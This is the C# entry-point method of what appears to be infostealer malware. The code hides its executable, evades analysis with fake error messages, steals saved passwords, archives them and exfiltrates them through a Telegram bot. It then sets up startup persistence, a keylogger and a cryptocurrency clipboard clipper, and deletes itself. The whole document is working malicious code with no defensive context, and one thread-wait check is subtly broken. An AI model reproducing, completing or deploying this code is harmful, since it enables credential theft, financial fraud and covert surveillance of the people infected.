static void Main(string[] args)
{
Thread
W_Thread = null,
C_Thread = null;
// SSL сучка
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.DefaultConnectionLimit = 9999;
// Mutex check
Implant.MutexControl.Check();
// Hide executable on first start
if (!Implant.Startup.IsFromStartup())
{
Implant.Startup.HideFile();
}
// If Telegram API or ID not exists => Self destruct.
if (Config.TelegramAPI.Contains("---") || Config.TelegramID.Contains("---"))
{
Implant.SelfDestruct.Melt();
}
// Start delay
if (Config.StartDelay == "1")
{
Implant.StartDelay.Run();
}
// Run AntiAnalysis modules
if (Implant.AntiAnalysis.Run())
{
Implant.AntiAnalysis.FakeErrorMessage();
}
// Change working directory to appdata
System.IO.Directory.SetCurrentDirectory(Paths.InitWorkDir());
// Load SharpZipLib
if (!Libs.LoadRemoteLibrary(Libs.ZipLib))
{
Implant.AntiAnalysis.FakeErrorMessage();
}
// Decrypt config strings
Config.Init();
// Test telegram API token
if (!Telegram.Report.TokenIsValid())
{
Implant.SelfDestruct.Melt();
}
// Steal passwords
string passwords = Passwords.Save();
// Compress directory
string archive = Filemanager.CreateArchive(passwords);
// Send archive
Telegram.Report.SendReport(archive);
// Install to startup if enabled in config and not installed
if (Config.Autorun == "1" && (Counter.BankingServices || Counter.CryptoServices || Counter.PornServices))
{
if (!Implant.Startup.IsInstalled() && !Implant.Startup.IsFromStartup())
{
Implant.Startup.Install();
}
}
// Run keylogger module
if (Config.KeyloggerModule == "1" && (Counter.BankingServices || Counter.Telegram) && Config.Autorun == "1")
{
Console.WriteLine("Starting keylogger modules...");
W_Thread = WindowManager.MainThread;
W_Thread.SetApartmentState(ApartmentState.STA);
W_Thread.Start();
}
// Run clipper module
if (Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1")
{
Console.WriteLine("Starting clipper modules...");
C_Thread = ClipboardManager.MainThread;
C_Thread.SetApartmentState(ApartmentState.STA);
C_Thread.Start();
}
// Wait threads
if (W_Thread != null)
{
if (W_Thread.IsAlive)
{
W_Thread.Join();
}
}
if (W_Thread != null)
{
if (C_Thread.IsAlive)
{
C_Thread.Join();
}
}
// Remove executable if running not from startup directory
if (!Implant.Startup.IsFromStartup())
{
Implant.SelfDestruct.Melt();
}
}
